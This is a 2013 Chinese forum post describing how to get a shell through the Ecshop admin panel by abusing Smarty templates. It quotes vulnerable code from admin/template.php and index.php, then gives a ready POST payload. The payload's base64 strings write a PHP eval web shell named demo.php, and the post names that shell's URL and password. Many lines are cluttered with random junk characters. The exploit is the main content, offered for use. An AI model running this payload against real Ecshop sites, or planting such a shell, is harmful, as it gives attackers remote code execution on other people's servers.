找回密码
 立即注册
查看: 3228|回复: 0
打印 上一主题 下一主题

Ecshop后台getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:33:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
% r% |# Z" g; m, i0 Y, K6 s! L5 N8 N; K; d9 C% X
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了
% g; a; q# m7 R但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
& Q# |- H; A) }) ]/ p, }admin/template.php
% T$ Q- t+ Y- g
& j! c' o& p/ P$ I! ?1 if ($_REQUEST['act'] == 'update_library')
) m) c6 t' C4 [/ P* U
- j& W+ s+ {$ y, r! ?3 k! Y2   ! c/ w. b  e+ [4 t6 g  W

& q( Z( {* K. H% [, T3 { $ d" g( r& j0 i2 r% B
& _- w- ?) k, N" ~
4     check_authz_json('library_manage');
$ e$ K. l0 R& g/ m" _# S
2 `( j2 b! C) y5   
5 |+ j$ R3 Q* H4 L. k4 t
- S" a+ M9 J0 ]7 i( b, \6     $html = stripslashes(json_str_iconv($_POST['html']));
- d: `) S" ?; b: d, }6 G* r
1 n6 N2 q/ _- V" M! P8 u; g7   - Z% j' G( H9 ]

& N# X- e# Q& K, o6 n8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
$ m+ j/ |/ p! @' V: l& l
5 R3 _# O: x* V0 a2 o9   
, _8 J8 N/ X! L5 J" ?9 ^. A0 z. o7 T5 O' l5 `# y9 D0 [5 e
10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符 4 T* k( S* ]$ }0 n
4 B/ ~* s% C! b
11   
; I' w/ W: s1 X* F( Q7 F4 U" Q7 Z# i( q0 O
12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
* }! K$ f; {0 G* `. H* S
6 z' W# V0 D4 i+ V& z13   
, |$ O. v: Q8 Z7 d8 M$ O& G1 d4 m: `2 Y
14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出 + X- \! ]1 P% `# C

9 _3 F' u3 T1 l15     { 8 `) G9 K, t) b% P

- k. w* L: q; E+ D16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
- Z7 T7 J/ D) j8 Q
1 _& M. ^: X$ j9 L# t$ U17         make_json_result('', $_LANG['update_lib_success']); 4 G9 \8 ^; Q! S# g2 ]1 V& ^4 W
/ \$ U. w3 @1 r3 W! S5 E
18     }
3 e1 n$ l1 X" ?! T6 e9 o% m5 d7 L) C
3 X8 b/ F. H4 [% M" t19     else
' `' c7 |: Q% q0 h4 w% ~* g$ I8 S0 N' N' G
20     {
7 h4 B) l# Q2 ^: W1 C
" z& F" A2 r5 u  K21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
1 P) n. t; _: n3 ^) `3 K; o! [4 b, I; L' `/ Z( Y
22     } 7 |# X$ [- G$ R. m
, O( ~8 z6 j. Z7 g4 }& L* a4 e
23 } ; n: y5 p5 n7 X1 M' E1 X

* P' G, F. Y2 }' O8 I! w$ x, x' `8 I4 h那么找个比较方便调用了模板的文件: M/ z" `) [! a1 z" \
index.php+ h- f$ c- ]1 d, j
" Z# [/ v& R, P# u# [
1 if ($act == 'cat_rec')
8 W, W4 v0 x: A+ h
6 J$ u6 B1 t) T2 Q/ {; t6 h% Z' X2   
* \: g. h7 ]1 s( r& s- u9 v7 B
  ~% C9 t$ R" o$ n+ w" P3 { + c. ?% g, g& \5 l+ R) \6 ]
* n4 G& f6 s  r( B1 v/ f
4   # c0 N$ o+ V8 V4 I3 t9 e8 R8 f

" O' z1 h" @6 [! w% r5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot'); . v9 I; t* q. c3 P
. I8 X& d& b' r" M$ i, y
6   
' y" W* ^# {" t$ |( F9 o8 `- ~; C9 p" e" B% z3 u; H9 ]2 x
7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
2 m  @  n/ R- S9 ~
/ a0 r& H. J& X: I9 _8 @7 k8   
7 c: x( ^  ~9 c* _5 J, \: v! K* a3 ~$ {+ X- r
9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';
$ P7 {  @7 N% q- ^/ G/ q/ T7 E3 `
10   / ?8 B2 J" D& V8 Z

, |1 R& J5 r4 ^2 h: n11     include_once('includes/cls_json.php');
/ V! a0 |1 E6 l* @* \5 a' `3 t; o, M& j. v) b; p* B
12   + u0 w" s$ q1 n+ T

( H1 j, H% {3 |6 @13     $json = new JSON; * J" k9 H2 l/ W2 e: H" f8 |% F
6 C! M# ?: F4 }' t1 w
14   $ ^5 ?5 I6 }0 W% {* O' N

3 b6 n( x8 J7 ~& O( |15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id); " C3 d. ]3 Y  z$ k% f5 u7 q
. p, e- Y7 M8 u' L
16   
# Q! P4 m( J1 a# E% L" a
) V% R+ S' A# a+ D% V1 p8 m17     $children = get_children($cat_id); 7 N& s* G- u0 E+ X
# P$ r4 h0 d# Y8 ?
18   3 C- Q5 M" D( z' x
, ~: h/ n  j% q7 V
19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品
. E( R+ k" o& d  z- D4 v
; T, [: k+ K' ^8 W& @20   
+ q7 K" Y9 Q' e" m0 y" U( k' i/ G3 r4 l* [9 q
21     $smarty->assign('cat_rec_sign', 1);
' \* a; t5 d- b6 ]) z' o2 F& l) `1 ^! D: X7 \0 g  [
22   . V5 W+ b3 e# L) q  \8 S. v3 p
, N: ~( f0 E$ X$ Y. @/ t  i7 w
23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
) m4 S( H* E- H0 Z, _9 k% H; V/ L
24   4 c, j. L) P( ]5 U! k- Z* `/ D% a& k

" H* u# P+ v3 q* a25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi'; ' a% R" c. w: i: B

1 {/ G4 V( `0 T9 C( H/ w26   5 R( v; J% f- J0 V. u; c4 f3 C

) G" g) t  @7 C) K- o& T1 S5 s6 [5 o27         echo $rec_array[$rec_type];
0 w1 k# e% J% i# E4 S! r# w" f% \# ?
0 a# C3 _* i9 C; [. F28   ' b& E  O' o) r% A
; V, [! T3 w' T$ ], {1 w9 A5 k
29     die($json->encode($result));
7 E- e8 p6 q! L( L  |; w, y  _/ S* v* v  E+ g$ |9 e
30   
7 _' I3 ^4 Y: e% ^4 g" d- K. y7 d3 ?7 y, U2 n7 L
31 } / b! @+ r( S/ b% z5 b2 \3 ?+ L

9 [! s4 }4 ]( N9 o$ K那么就有利用方法了
7 E& ~, Q+ x9 m: w5 h" \! z6 upost包到http://localhost/ec/admin/template.php?act=update_library
. L0 M+ u+ `: L2 M* M2 ~1 }* J) w) _Post内容:
, m, v  X* o4 u; M; b) \  E' g( u
4 d# u8 y& d! U9 f9 F) p" S; g" c( a( P  b
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
+ k# p: L( }" m) x- E( w" K6 h2 t, G1 u
然后访问http://localhost/ec/index.php?act=cat_rec
3 X! z* V; A2 Z; o2 Y; l
9 F7 o  y6 F1 P. D; Wshel地址:http://localhost/ec/demo.php
% c4 b# \6 h9 r0 |7 a. t' M1 ?  H$ D密码c2 J' w7 Z. j3 K& x0 B. N

5 Y: ?5 h/ y" R+ R
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表